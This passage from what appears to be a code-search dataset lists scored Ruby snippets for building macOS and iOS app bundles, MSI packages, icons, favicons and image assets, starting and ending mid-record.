"text": "def source(file); end",
"title": ""
},
{
"docid": "d2f00982f59cd5deb969bfb96de71edd",
"score": "0.5131072",
"text": "def build_macos(rb_file)\n\n # Build native app for macOS\n build_native(rb_file)\n\n # Property list source for the bundle\n info_plist = %(\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n <key>CFBundleExecutable</key>\n <string>app</string>\n <key>CFBundleIconFile</key>\n <string>app.icns</string>\n <key>CFBundleInfoDictionaryVersion</key>\n <string>6.0</string>\n <key>CFBundlePackageType</key>\n <string>APPL</string>\n <key>CFBundleVersion</key>\n <string>1</string>\n <key>NSHighResolutionCapable</key>\n <string>True</string>\n</dict>\n</plist>\n)\n\n # Create directories\n FileUtils.mkpath 'build/App.app/Contents/MacOS'\n FileUtils.mkpath 'build/App.app/Contents/Resources'\n\n # Create Info.plist and copy over assets\n File.open('build/App.app/Contents/Info.plist', 'w') { |f| f.write(info_plist) }\n FileUtils.cp 'build/app', 'build/App.app/Contents/MacOS/'\n # Consider using an icon:\n # FileUtils.cp \"#{@gem_dir}/assets/app.icns\", 'build/App.app/Contents/Resources'\n\n # Clean up\n FileUtils.rm_f 'build/app' unless @debug\n\n # Success!\n puts 'macOS app bundle created: `build/App.app`'\nend",
"title": ""
},
{
"docid": "9b22e1cdf19035e6f85fdd4006f132de",
"score": "0.5124708",
"text": "def icon_set; end",
"title": ""
},
{
"docid": "bd3232b03166db0e6284c05a3d37df41",
"score": "0.51047677",
"text": "def get_iphone_button_source(button, vote)\n button_names = { :yes => \"greenbutton\", :maybe => \"yellowbutton\", :no => \"redbutton\" }\n source = \"/images/iphone/\" << button_names[button]\n source << \"_active\" if vote.decision == button.to_s\n source << \".png\"\n return source\n end",
"title": ""
},
{
"docid": "f5189040f28b90f0b151d7a3b0f1771d",
"score": "0.5068295",
"text": "def icon(name)\n `~/.oroshi/config/tmux/helper-get-icon #{name}`.strip\n end",
"title": ""
},
{
"docid": "5de93d6bbc58d15ea6ffcbbbf12fde06",
"score": "0.5067935",
"text": "def icon_for(filename)\n icon_file = File.exists?(\"#{RAILS_ROOT}/public/images/icons/icon#{File.extname(filename)}.png\") ? \"/images/icons/icon#{File.extname(filename)}.png\" : '/images/icons/icon.any.png'\n image_tag(icon_file, :width=>\"50px\", :title=>File.basename(filename))\n end",
"title": ""
},
{
"docid": "114763b007e13f3287f35c32c5206e16",
"score": "0.50465804",
"text": "def build_widgets_from(filename)\n end",
"title": ""
},
{
"docid": "11b6aeb16f272e76d25771f7fe89788f",
"score": "0.5045335",
"text": "def file_icon_image_path(file_name=nil, options={})\n defaults = {:size => \"32x32\", :extension => nil}\n options = defaults.merge(options).symbolize_keys\n\n if ext = Utility.uniq_file_extname(file_name)\n size = options.delete(:size)\n size = '32x32' unless ['16x16', '32x32'].include?(size)\n source = image_path(\"icons/file-types/original/#{ext}-icon-#{size}.gif\")\n end\n end",
"title": ""
},
{
"docid": "8ba5cb93ce7103e709948ad6727c6fc6",
"score": "0.50281864",
"text": "def iconSet; end",
"title": ""
},
{
"docid": "9f717b1cce69d6f83b4b29764e7df043",
"score": "0.49945432",
"text": "def icon_tag(file_name, text)\n image = h.image_tag(file_name)\n image += \" #{text}\" if text.present?\n image\n end",
"title": ""
},
{
"docid": "0ad20cc614cbdbf2fba374ba6a158270",
"score": "0.49939114",
"text": "def icon_to(source, options = {}, html_options = {}, *parameters_for_method_reference)\n link_to_original(image_tag(source.downcase, :border => 0, :align => \"top\", :title => fmt_icon_title(source)), options, html_options, *parameters_for_method_reference)\n end",
"title": ""
},
{
"docid": "a24a0d4842b7823d6fddd21b6cc4d3b4",
"score": "0.49834624",
"text": "def build_package\n require 'fileutils'\n \n icon_path = \"#{@gem_dir}/assets/app.icns\"\n \n FileUtils.mkpath \"build/App.app/Contents/MacOS\"\n FileUtils.mkpath \"build/App.app/Contents/Resources\"\n FileUtils.cp icon_path, \"build/App.app/Contents/Resources\"\n \n info_plist = %(\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n <key>CFBundleExecutable</key>\n <string>app</string>\n <key>CFBundleIconFile</key>\n <string>app.icns</string>\n <key>CFBundleInfoDictionaryVersion</key>\n <string>1.0</string>\n <key>CFBundlePackageType</key>\n <string>APPL</string>\n <key>CFBundleSignature</key>\n <string>????</string>\n <key>CFBundleVersion</key>\n <string>1.0</string>\n</dict>\n</plist>\n)\n \n File.open(\"build/App.app/Contents/Info.plist\", 'w') { |f| f.write(info_plist) }\n FileUtils.cp \"build/app\", \"build/App.app/Contents/MacOS/\"\n puts \"App written to `build/App.app`.\"\nend",
"title": ""
},
{
"docid": "809fb5af38c2e6e14c3fc4299b8817a2",
"score": "0.49814585",
"text": "def link_to_source(trace)\n image_url = 'file/images/' + (NewRelic::Agent.config[:textmate] ? \"textmate.png\" : \"file_icon.png\")\n\n link_to \"<img src=#{image_url} alt=\\\"View Source\\\" title=\\\"View Source\\\"/>\", url_for_source(application_caller(trace))\n end",
"title": ""
},
{
"docid": "b4c5eb68d3970c55e6d169b1de9339c3",
"score": "0.49704438",
"text": "def build_from_file(file)\n dir = File.dirname(file)\n string = IO.read(file)\n build_from_string(string, dir)\n end",
"title": ""
},
{
"docid": "87cf111b102357fa7bfbf63b42fada7e",
"score": "0.49685335",
"text": "def build_section_for_xcassets bundle\n log \"Found asset catalog %s with #%s image files.\",\n bundle.path.basename, bundle.resources.count\n\n section_name = \"#{basename_without_ext(bundle.path)}Assets\"\n section_data = build_images_section_data(bundle.resources.map(&:path), {\n use_basename: [:path],\n path_without_ext: true\n })\n new_section(section_name, section_data)\n end",
"title": ""
},
{
"docid": "12079f2f2fc5f1dc618906dda919ad2f",
"score": "0.49642885",
"text": "def apple_touch_icon\n redirect_to helpers.image_pack_url('apple-touch-icon.png')\n end",
"title": ""
},
{
"docid": "cbe0c24540ed33a0a255e313a6a260d4",
"score": "0.4952298",
"text": "def generate\n @xcconfig = Xcodeproj::Config.new\n XCConfigHelper.add_settings_for_file_accessors_of_target(target, @xcconfig)\n @xcconfig\n end",
"title": ""
},
{
"docid": "e438436de4ef4b4cfc4c0f68ffbf06aa",
"score": "0.49488547",
"text": "def generate_msi_package(project) # rubocop:disable Metrics/AbcSize\n target_dir = project.repo ? output_dir(project.repo) : output_dir\n wix_extensions = \"-ext WiXUtilExtension -ext WixUIExtension\"\n # Heat command documentation at: http://wixtoolset.org/documentation/manual/v3/overview/heat.html\n # dir <directory> - Traverse directory to find all sub-files and directories.\n # -ke - Keep Empty directories\n # -cg - Component Group Name\n # -gg - Generate GUIDS now\n # -srd - Suppress root element generation, we want to reference one of the default root elements\n # INSTALLDIR or APPDATADIR in the directorylist.wxs file, not a newly generated one.\n # -sreg - Suppress registry harvesting.\n # -dr - Root DirectoryRef to point all components to\n # -var - Replace \"SourceDir\" in the @source attributes of all components with a preprocessor variable\n app_heat_flags = \" -dr INSTALLDIR -v -ke -indent 2 -cg AppComponentGroup -gg -srd -t wix/filter.xslt -sreg -var var.AppSourcePath \"\n app_heat_flags += \" -fips\" if project.platform.name =~ /windowsfips-2012r2/\n\n app_source_path = \"SourceDir/#{project.settings[:base_dir]}/#{project.settings[:company_id]}/#{project.settings[:product_id]}\"\n # Candle.exe preprocessor vars are required due to the above double run of heat.exe, both runs of heat use\n # preprocessor variables\n candle_preprocessor = \"-dAppSourcePath=\\\"#{app_source_path}\\\" \"\n candle_flags = \"-arch #{@architecture} #{wix_extensions}\"\n candle_flags += \" -fips\" if project.platform.name =~ /windowsfips-2012r2/\n\n # Enable verbose mode for the moment (will be removed for production)\n # localisation flags to be added\n light_flags = \"-v -cultures:en-us #{wix_extensions}\"\n # \"Misc Dir for versions.txt, License file and Icon file\"\n misc_dir = \"SourceDir/#{project.settings[:base_dir]}/#{project.settings[:company_id]}/#{project.settings[:product_id]}/misc\"\n # Actual array of commands to be written to the Makefile\n make_commands = [\n \"mkdir -p output/#{target_dir}\",\n \"mkdir -p $(tempdir)/{SourceDir,wix/wixobj}\",\n \"#{@copy} -r wix/* $(tempdir)/wix/\",\n \"gunzip -c #{project.name}-#{project.version}.tar.gz | '#{@tar}' -C '$(tempdir)/SourceDir' --strip-components 1 -xf -\"\n ]\n\n if project.extra_files_to_sign.any?\n make_commands << Vanagon::Utilities::ExtraFilesSigner.commands(project, @mktemp, 'SourceDir')\n end\n\n make_commands << [\n \"mkdir -p $(tempdir)/#{misc_dir}\",\n # Need to use awk here to convert to DOS format so that notepad can display file correctly.\n \"awk 'sub(\\\"$$\\\", \\\"\\\\r\\\")' $(tempdir)/SourceDir/bill-of-materials > $(tempdir)/#{misc_dir}/versions.txt\",\n \"cd $(tempdir); \\\"$$WIX/bin/heat.exe\\\" dir #{app_source_path} #{app_heat_flags} -out wix/#{project.name}-harvest-app.wxs\",\n\n # Apply Candle command to all *.wxs files - generates .wixobj files in wix directory.\n # cygpath conversion is necessary as candle is unable to handle posix path specs\n # the preprocessor variables AppDataSourcePath and ApplicationSourcePath are required due to the -var input to the heat\n # runs listed above.\n \"cd $(tempdir)/wix/wixobj; for wix_file in `find $(tempdir)/wix -name '*.wxs'`; do \\\"$$WIX/bin/candle.exe\\\" #{candle_flags} #{candle_preprocessor} $$(cygpath -aw $$wix_file) || exit 1; done\",\n # run all wix objects through light to produce the msi\n # the -b flag simply points light to where the SourceDir location is\n # -loc is required for the UI localization it points to the actual localization .wxl\n \"cd $(tempdir)/wix/wixobj; \\\"$$WIX/bin/light.exe\\\" #{light_flags} -b $$(cygpath -aw $(tempdir)) -loc $$(cygpath -aw $(tempdir)/wix/localization/puppet_en-us.wxl) -out $$(cygpath -aw $(workdir)/output/#{target_dir}/#{msi_package_name(project)}) *.wixobj\",\n ]\n\n make_commands.flatten\n end",
"title": ""
},
{
"docid": "251d77c0135fe15337292e0abddf93d8",
"score": "0.49056563",
"text": "def reloadMacRubySource\n main = File.basename(__FILE__)\n \n dir_path = NSBundle.mainBundle.resourcePath.fileSystemRepresentation\n Dir.glob(File.join(dir_path, '*.loc.txt')).each do |loc|\n \n # path = IO.read(loc)\n File.open(loc, \"r\") do |file|\n # currently, location files contain only one line. We loop through all lines anyway for future expansion.\n file.each_line do |path|\n path = path.gsub(/\\r?\\n/, '')\n \n pathBase = File.basename(path)\n if File.basename(path) != main\n load(path)\n end\n end\n end\n end \nend",
"title": ""
},
{
"docid": "4c0c05fd85868dd2849c82a2a248d436",
"score": "0.48966983",
"text": "def touchicon_180\n serve_image :touchicon_180\n end",
"title": ""
},
{
"docid": "fa58595086d157334a3a6a615f44b164",
"score": "0.48706347",
"text": "def compiled_file_from_source(file)\n extension = File.extname(file).gsub(/^\\./,'')\n if compiled = RESOURCE_FILES_MAP[extension.to_sym]\n file.gsub Regexp.new(%(#{extension}$)), compiled.to_s\n end\nend",
"title": ""
},
{
"docid": "21fca7a0d3b7f623e0d83f32508472a3",
"score": "0.48654974",
"text": "def deploy_icons\n lib_dir = File.dirname(__FILE__)\n local_icons = File.join(lib_dir, \"assets/*\")\n App.info \"motion-rubberstamp\", \"Deploying Icons from #{local_icons}\"\n Dir.glob(File.join(lib_dir, \"assets/*\")).each do |icon|\n App.info \"motion\", icon\n FileUtils.cp(icon, './resources', :verbose => true)\n end\n end",
"title": ""
},
{
"docid": "21fca7a0d3b7f623e0d83f32508472a3",
"score": "0.48654974",
"text": "def deploy_icons\n lib_dir = File.dirname(__FILE__)\n local_icons = File.join(lib_dir, \"assets/*\")\n App.info \"motion-rubberstamp\", \"Deploying Icons from #{local_icons}\"\n Dir.glob(File.join(lib_dir, \"assets/*\")).each do |icon|\n App.info \"motion\", icon\n FileUtils.cp(icon, './resources', :verbose => true)\n end\n end",
"title": ""
},
{
"docid": "a5e8f7e37e38ff60fd9254fa65f0e06c",
"score": "0.48450738",
"text": "def gen_inst_mnemonic()\n\n inst_mnemonic_c_fp = File.open(\"inst_mnemonic_\" + $arch_name + \".cpp\", 'w')\n\n gen_header(inst_mnemonic_c_fp) # making header\n\n inst_mnemonic_c_fp.puts(\"#include <string>\\n\")\n inst_mnemonic_c_fp.puts(\"#include \\\"inst_list_\" + $arch_name + \".hpp\\\"\")\n inst_mnemonic_c_fp.puts(\"#include \\\"dec_utils_\" + $arch_name + \".hpp\\\"\\n\\n\\n\")\n\n inst_mnemonic_c_fp.printf(\"const char *inst_strings[%d] = {\\n\", $arch_table.size + 1); # Last+1 is for Sentinel\n $arch_table.each_with_index {|inst_info, index|\n inst_string = inst_info[\"name\"].gsub(/\\w+\\[\\d+:\\d+\\]/, \"@\")\n inst_string = inst_string.gsub(/@(\\|@)+/, \"@\")\n inst_mnemonic_c_fp.printf(\" \\\"%s\\\"\", inst_string)\n inst_mnemonic_c_fp.puts(\",\\n\")\n }\n inst_mnemonic_c_fp.puts(\"\\\"<Unknown Inst>\\\"\\n\")\n inst_mnemonic_c_fp.puts(\"};\\n\")\n\n inst_mnemonic_c_fp.close()\n\nend",
"title": ""
},
{
"docid": "05c6f8dc7d955d7f2debc1d7fb236f39",
"score": "0.4827926",
"text": "def generate_images\n button_tint = Pixel.from_color($properties['tintColor'])\n secondary_tint = Pixel.from_color($properties['secondaryTintColor'])\n\n Dir.glob(\"#{$master_dir}/*.{png,gif}\") do |f|\n fname = File.basename(f)\n unless $images_to_ignore[fname]\n tint_bounds = $images_to_tint[fname]\n if tint_bounds\n # If the image is in the $images_to_tint hash, then we need to tint it.\n # The value in that hash is either 'true', which means tint the whole\n # thing, or a hash with :x, :y, :w, and :h keys defining the region to\n # tint.\n color_to_use = tint_bounds[:secondary] ? secondary_tint : button_tint\n\n image = Image.read(f).first\n image.tint! color_to_use, 100, tint_bounds\n image.write \"images/#{fname}\"\n else\n # Just copy the image without tinting it.\n FileUtils.cp \"#{$master_dir}/#{fname}\", \"images/#{fname}\"\n end\n end\n end\n\n # Create copies of other images we need.\n FileUtils.cp \"#{$master_dir}/button-enabled.png\", 'images/button-disabled.png'\n\n # Generate other images we need.\n generate_tooltip_connectors\n generate_checkbox_sprite_image\n generate_slider_thumb_images\n generate_indeterminate_progress_bar\n\nend",
"title": ""
},
{
"docid": "a5fc0baa2d8b5428e64e7fb3251d865a",
"score": "0.48173338",
"text": "def build_imagecss\n return unless options.Build_Image_Width_Css\n\n puts \"#{A_CYAN}Middlemac is creating `#{options.File_Image_Width_Css}`.#{A_RESET}\"\n\n out_array = []\n\n Dir.glob(\"#{app.source}/Resources/**/*.{jpg,png,gif}\").each do |fileName|\n # fileName contains complete path relative to this script.\n # Get just the name and extension.\n base_name = File.basename(fileName)\n\n # width\n if File.basename(base_name, '.*').end_with?('@2x')\n width = (FastImage.size(fileName)[0] / 2).to_i.to_s\n else\n width = FastImage.size(fileName)[0].to_s;\n end\n\n # proposed css\n out_array << \"img[src$='#{base_name}'] { max-width: #{width}px; }\"\n end\n\n File.open(options.File_Image_Width_Css, 'w') { |f| out_array.each { |line| f.puts(line) } }\n\n end",
"title": ""
},
{
"docid": "519b54aa5d8bd8d03fcce865112ce8bc",
"score": "0.48048303",
"text": "def build_sources(names)\n names.transform_values { |n| PictureTag::SourceImage.new n }\n end",
"title": ""
},
{
"docid": "2cadf0f65b1ee1c1f9921599ee2dcd91",
"score": "0.47837138",
"text": "def build\n \n bin = 'mxmlc'\n \n TextMate.require_cmd(bin)\n \n s = FlexMate::Settings.new\n \n cmd = MxmlcCommand.new\n cmd.file_specs = s.file_specs\n cmd.o = s.flex_output\n \n init_html(bin,cmd)\n \n exhaust = get_exhaust\n\n TextMate::Process.run(cmd.line) do |str|\n STDOUT << exhaust.line(str)\n end\n\n STDOUT << exhaust.complete\n\n html_footer\n\n end",
"title": ""
},
{
"docid": "d80003c98b061bf282cb910691832553",
"score": "0.47745883",
"text": "def icon_tag(icon)\n image_tag(\"forge/icons/#{icon}.png\")\n end",
"title": ""
},
{
"docid": "16e926db80ad795e4ec3498fa2080d89",
"score": "0.47740299",
"text": "def icon_attribution_file=(file)\n self.icon_attribution = file.read[/^ {4}(.+?)$/m, 1]\n end",
"title": ""
},
{
"docid": "5034a4aac744fba9fce499659697651a",
"score": "0.4760028",
"text": "def icons\n paths = []\n path_keys = ['CFBundleIcons', 'CFBundleIcons~ipad']\n path_keys.each do |path_key|\n icons = info && (info[path_key] &&\n info[path_key]['CFBundlePrimaryIcon'] &&\n (info[path_key]['CFBundlePrimaryIcon']['CFBundleIconFile'] ||\n info[path_key]['CFBundlePrimaryIcon']['CFBundleIconFiles']))\n paths.push(*icons)\n end\n\n paths << 'Icon.png' if paths.size == 0\n\n unless paths.is_a?(Array)\n paths = [paths]\n end\n\n paths = paths.map do |path|\n begin\n @zipfile.entries.entries.map { |e| File.basename(e.name) }.select { |name| name.start_with?(path) }\n rescue Exception => e\n STDERR.puts \"\\n\\nException #{e}\\n\\n\"\n nil\n end\n end.flatten.compact.map do |path|\n [path, Proc.new { payload_file(path) }]\n end\n\n Hash[paths]\n end",
"title": ""
},
{
"docid": "56dce202e86a96696438fefd0352177d",
"score": "0.47561446",
"text": "def xcodebuild\n \"xcodebuild-wrapper.sh #{project_file}\"\nend",
"title": ""
},
{
"docid": "0c5ae085afcb64f140ff215b23e60040",
"score": "0.47531796",
"text": "def wrap_icons\n tmpl = File.read(File.expand_path('./templates/icon_wrapper.svg.erb', __dir__))\n @icons_sprite = ERB.new(tmpl).result(binding)\n end",
"title": ""
},
{
"docid": "a64b9002af536cf07be6e0f316ac794a",
"score": "0.47508207",
"text": "def file( file_to_source, &build )\n file, source = *Task.parse(file_to_source)\n define_method(\"#{file}:exec\",&build) if build\n (@task||={})[file] = FileTask.new(file, source, desc!, &build)\n end",
"title": ""
},
{
"docid": "5d0e4d261ce9be0a4f44e13f4dd66dfa",
"score": "0.473492",
"text": "def dock_icon\n @os ||= host_os\n icon = []\n if os == :mac\n icon << '-Xdock:name=Ruby-Processing'\n icon << \"-Xdock:icon=#{RP5_ROOT}/lib/templates/application/Contents/Resources/sketch.icns\"\n end\n icon\n end",
"title": ""
},
{
"docid": "3ef9b3bb6e1136bade81796899db3b23",
"score": "0.4732839",
"text": "def make_icon(key, opts = {})\n if opts[:inline_format]\n inline_icon(key, opts)\n else\n Icon.new(key, self, opts)\n end\n end",
"title": ""
},
{
"docid": "2576f79d7633d534052dff0cba7ef5a9",
"score": "0.47320792",
"text": "def scrape_icon(page)\n if image_element = page.at_css(\"#appiconinfo\")\n url_string = image_element[:src]\n image_file = open(url_string)\n icon = Icon.new({:photo => image_file})\n icon if icon.save\n end\n end",
"title": ""
},
{
"docid": "14365a518c2e2bc283cdda8c514689c2",
"score": "0.47277758",
"text": "def get_icon(name)\n\t\t\tpath = get_image(name) + \".gz\"\n\t\t\tfd = File.open(path, \"rb\")\n\t\t\tbuff = fd.read( File.size(path) )\n\t\t\tfd.close \n\t\t\t\n\t\t\tGdk::Pixbuf.new(Rex::Text.ungzip(buff).split(\"\\n\"))\n\t\tend",
"title": ""
},
{
"docid": "86a72938f518769862edcb057f506e62",
"score": "0.47119462",
"text": "def compile\n # go away, favicon requests\n return String.new if File.basename(filename) =~ /^favicon.ico/\n \n @content_for_layout = eval(source)\n \n if layout && File.file?(layout_filename)\n erb = ERB.new(File.read(layout_filename))\n eval(erb.src) do |*keys|\n key = keys.first\n key = :layout if key.blank?\n instance_variable_get(:\"@content_for_#{key}\")\n end\n else\n @content_for_layout\n end \n end",
"title": ""
},
{
"docid": "ccb5a54c834d6b2501d1b498ec933e59",
"score": "0.47118446",
"text": "def file_icons\r\n\r\n @file_icons = Dir[Rails.public_path.join('images', 'file_icons', '*')].reject{|f|\r\n (f =~ /_(error|link|add|delete|go|edit)\\.png/i) || !(f =~ /\\.(png|gif|jpg)$/i)\r\n }.map{|f| f[/\\/images.*$/]}.sort\r\n respond_to do |wants|\r\n wants.html\r\n wants.xml { render :xml => @file_icons.inject({}) {|acc,elt| acc.merge(:url => elt) }.to_xml }\r\n end\r\n end",
"title": ""
},
{
"docid": "5c78a9a8d858c7f7aa5809c47542643a",
"score": "0.4698717",
"text": "def dock_icon\n mac = RUBY_PLATFORM.match(/darwin/i) || (RUBY_PLATFORM == 'java' && ENV_JAVA['os.name'].match(/mac/i))\n mac ? [\"-Xdock:name=Ruby-Processing\", \"-Xdock:icon=#{RP5_ROOT}/lib/templates/application/Contents/Resources/sketch.icns\"] : []\n end",
"title": ""
},
{
"docid": "09922e6b3a3b69b229b40f94b63d1dd0",
"score": "0.4697641",
"text": "def build_file(src, package, name, substitutions, dest='.')\n to = File.join(dest, \"#{JAVA_SRC_DIR}/#{package.gsub('.', '/')}\")\n Dir.mkdir(to) unless File.directory?(to)\n\n text = File.read(File.expand_path(Ruboto::GEM_ROOT + \"/assets/#{JAVA_SRC_DIR}/#{src}.java\"))\n substitutions.each { |k, v| text.gsub!(k, v) }\n\n File.open(File.join(to, \"#{name}.java\"), 'w') { |f| f << text }\n end",
"title": ""
},
{
"docid": "eb14780003af1021dd97205404b244a3",
"score": "0.4696906",
"text": "def build_ios_tvos(rb_file, device)\n check_build_src_file(rb_file)\n\n # Check if MRuby exists; if not, quit\n if `which mruby`.empty?\n puts \"#{'Error:'.error} Can't find MRuby, which is needed to build native Ruby 2D applications.\\n\"\n exit\n end\n\n # Add debugging information to produce backtrace\n if @debug then debug_flag = '-g' end\n\n # Assemble the Ruby 2D library in one `.rb` file and compile to bytecode\n make_lib\n `mrbc #{debug_flag} -Bruby2d_lib -obuild/lib.c build/lib.rb`\n\n # Read the provided Ruby source file, copy to build dir and compile to bytecode\n File.open('build/src.rb', 'w') { |file| file << strip_require(rb_file) }\n `mrbc #{debug_flag} -Bruby2d_app -obuild/src.c build/src.rb`\n\n # Copy over iOS project\n FileUtils.cp_r \"#{@gem_dir}/assets/#{device}\", \"build\"\n\n # Combine contents of C source files and bytecode into one file\n File.open(\"build/#{device}/main.c\", 'w') do |f|\n f << \"#define RUBY2D_IOS_TVOS 1\" << \"\\n\\n\"\n f << \"#define MRUBY 1\" << \"\\n\\n\"\n f << File.read(\"build/lib.c\") << \"\\n\\n\"\n f << File.read(\"build/src.c\") << \"\\n\\n\"\n f << File.read(\"#{@gem_dir}/ext/ruby2d/ruby2d.c\")\n end\n\n # TODO: Need add this functionality to the gem\n # Build the Xcode project\n `simple2d build --#{device} build/#{device}/MyApp.xcodeproj`\n\n # Clean up\n clean_up unless @debug\n\n # Success!\n puts \"App created: `build/#{device}`\"\nend",
"title": ""
},
{
"docid": "e70c94574a60264d8a96d2fdfc6a9026",
"score": "0.46822783",
"text": "def build_file file\n raise \"File does not exist '#{file}'\" unless File.exists? file\n\n case File.extname file\n when '.rb'\n @parser.parse File.read(file)\n when '.js'\n \"function(VM, self, FILE) { #{File.read file} }\"\n else\n raise \"Bad file type for building '#{file}'\"\n end\n end",
"title": ""
},
{
"docid": "c5f64054c5c1ce3c3c2ae06c1d8e9b35",
"score": "0.46785104",
"text": "def raw\n @icons.each do |i|\n i[:options] = combine_options(i, combine_grows(i, @grow))\n i[:options][:title] = @title\n end\n\n build { parse_all(@icons).join }\n end",
"title": ""
},
{
"docid": "0a9df0262a4fcb78c739cb5f94f93dc9",
"score": "0.46581137",
"text": "def retina_src(src)\n ext = Pathname.new(src).extname\n src.sub %r(#{ext}$), \"_2x#{ext}\"\n end",
"title": ""
},
{
"docid": "73e10338b3fb10b19640bf12807a919e",
"score": "0.4643294",
"text": "def build_sections_for_xcassets\n file_refs = find_file_refs_by_extname '.xcassets'\n\n log \"Found #%s asset catalogs in project.\", file_refs.count\n\n file_refs.map do |file_ref|\n bundle = XCAssets::Bundle.open(file_ref.real_path)\n section = build_section_for_xcassets(bundle)\n log 'Add section for %s with %s elements', section.name, section.items.count unless section.nil?\n section\n end.compact\n end",
"title": ""
},
{
"docid": "5cb7337842c117eabe74d7d63ab9f37e",
"score": "0.46380603",
"text": "def build_sections_for_xcassets\n file_refs = find_file_refs_by_extname '.xcassets'\n\n log \"Found #%s asset catalogs in project.\", file_refs.count\n\n file_refs.map do |file_ref|\n bundle = XCAssets::Bundle.open(file_ref.real_path)\n section = build_section_for_xcassets(bundle)\n log 'Add section for %s with %s elements.', section.name, section.items.count unless section.nil?\n section\n end.compact\n end",
"title": ""
},
{
"docid": "34d28edfbec3d287874888083cff3339",
"score": "0.46359324",
"text": "def file_icon_image_tag(file_name, options={})\n path = file_icon_image_path(file_name, options)\n options.delete(:extension)\n image_tag(path, options)\n end",
"title": ""
},
{
"docid": "201f8b8d59a72ef70a96a2666a0e7fa8",
"score": "0.4624144",
"text": "def set_volume_icon\n execute <<-EOH.gsub(/^ {8}/, '')\n # Generate the icns\n mkdir tmp.iconset\n sips -z 16 16 #{resource_path('icon.png')} --out tmp.iconset/icon_16x16.png\n sips -z 32 32 #{resource_path('icon.png')} --out tmp.iconset/icon_16x16@2x.png\n sips -z 32 32 #{resource_path('icon.png')} --out tmp.iconset/icon_32x32.png\n sips -z 64 64 #{resource_path('icon.png')} --out tmp.iconset/icon_32x32@2x.png\n sips -z 128 128 #{resource_path('icon.png')} --out tmp.iconset/icon_128x128.png\n sips -z 256 256 #{resource_path('icon.png')} --out tmp.iconset/icon_128x128@2x.png\n sips -z 256 256 #{resource_path('icon.png')} --out tmp.iconset/icon_256x256.png\n sips -z 512 512 #{resource_path('icon.png')} --out tmp.iconset/icon_256x256@2x.png\n sips -z 512 512 #{resource_path('icon.png')} --out tmp.iconset/icon_512x512.png\n sips -z 1024 1024 #{resource_path('icon.png')} --out tmp.iconset/icon_512x512@2x.png\n iconutil -c icns tmp.iconset\n\n # Copy it over\n cp tmp.icns \"/Volumes/#{project.name}/.VolumeIcon.icns\"\n\n # Source the icon\n SetFile -a C \"/Volumes/#{project.name}\"\n EOH\n end",
"title": ""
},
{
"docid": "32403c18deb4d651b6fc7f31f8cec8f3",
"score": "0.46181372",
"text": "def path_to_source(name)\n path_to_file @sources_path + \"#{name}.png\"\n end",
"title": ""
},
{
"docid": "32403c18deb4d651b6fc7f31f8cec8f3",
"score": "0.46181372",
"text": "def path_to_source(name)\n path_to_file @sources_path + \"#{name}.png\"\n end",
"title": ""
},
{
"docid": "39b2f48243f4583530cd0c1d492c1fc4",
"score": "0.46160313",
"text": "def objective_c_source_file\n File.join(macos_root, 'main.m')\n end",
"title": ""
},
{
"docid": "96f58a6b85f30848357e1f1f9fea87ee",
"score": "0.46135554",
"text": "def file_icon_tag(content_type, size = \"32\")\n\t\taliases = {\n\t\t\t:jpeg => :jpg,\n\t\t\t:docx => :doc\n\t\t}\n\t\textension = Rack::Mime::MIME_TYPES.invert[content_type] || \"\"\n\t\textension = extension.dup.to_s\n\t\textension.gsub!(\".\", \"\")\n\t\ttitle = h \"#{extension.upcase} file\"\n\t\textension = aliases[extension.to_sym].to_s if !extension.blank? && aliases[extension.to_sym]\n filename = [\"icons\", \"Free-file-icons\", \"#{h(size)}px\", \"#{h(extension)}.png\"]\n # extension = \"_blank\" unless File.exists?(image_path(File.join(filename)))\n\t\timage_tag File.join(filename), :title => title\n\tend",
"title": ""
},
{
"docid": "fe7dcc513148527c59f7a638b7606e91",
"score": "0.46124935",
"text": "def build_file(file)\n params = {\n :file => file, \n :domain => domain, \n :git_hash => git_hash, \n :message => options[:message], \n :verbose => options[:verbose], \n :base_path => base_path,\n :server => server,\n :host => host\n }\n if build?(file)\n if file =~ /(\\.haml|\\.erb)$/\n YMDP::Compiler::Template::View.new(params).build\n elsif file =~ /\\.coffee$/\n YMDP::Compiler::Template::CoffeeScript.new(params).build\n elsif file =~ /\\.js$/\n YMDP::Compiler::Template::JavaScript.new(params).build\n end\n end\n end",
"title": ""
},
{
"docid": "b72e03ae664c04c60e64c0b1252cd43f",
"score": "0.46081507",
"text": "def favicon_tags\n html = <<EOT\n<link rel=\"apple-touch-icon-precomposed\" sizes=\"144x144\" href=\"#{app.asset_path('png', '/apple-touch-icon-144x144-precomposed')}\" />\n<link rel=\"apple-touch-icon-precomposed\" sizes=\"114x114\" href=\"#{app.asset_path('png', '/apple-touch-icon-114x114-precomposed')}\" />\n<link rel=\"apple-touch-icon-precomposed\" sizes=\"72x72\" href=\"#{app.asset_path('png', '/apple-touch-icon-72x72-precomposed')}\" />\n<link rel=\"apple-touch-icon-precomposed\" href=\"#{app.asset_path('png', '/apple-touch-icon-precomposed')}\" />\n<link rel=\"shortcut icon\" href=\"#{app.asset_path('png', '/favicon')}\" />\n<link rel=\"icon\" type=\"image/ico\" href=\"#{app.asset_path('ico', '/favicon')}\" />\nEOT\n ::ActiveSupport::SafeBuffer.new.safe_concat(html)\n end",
"title": ""
},
{
"docid": "d1a239b9ca6646b058795a242a02258e",
"score": "0.4607276",
"text": "def build\n @components = scan(@src)\n\n if @components.empty?\n puts \"No ActionScript, MXML or FXG files found.\"\n else\n create_xml(@components)\n\n #Open/Create the manifest file and write the output to it.\n to_disk(xml)\n end\n end",
"title": ""
},
{
"docid": "6953f689d267803bc5bb54da9bea371e",
"score": "0.46059236",
"text": "def iconBuilder(base_url)\n iconString = 'https://besticon-demo.herokuapp.com/icon?url=' + base_url + '&size=70..120..200'\n return iconString\n end",
"title": ""
},
{
"docid": "e4aff8c72f37172bcc3f04f6442c1fd5",
"score": "0.46055028",
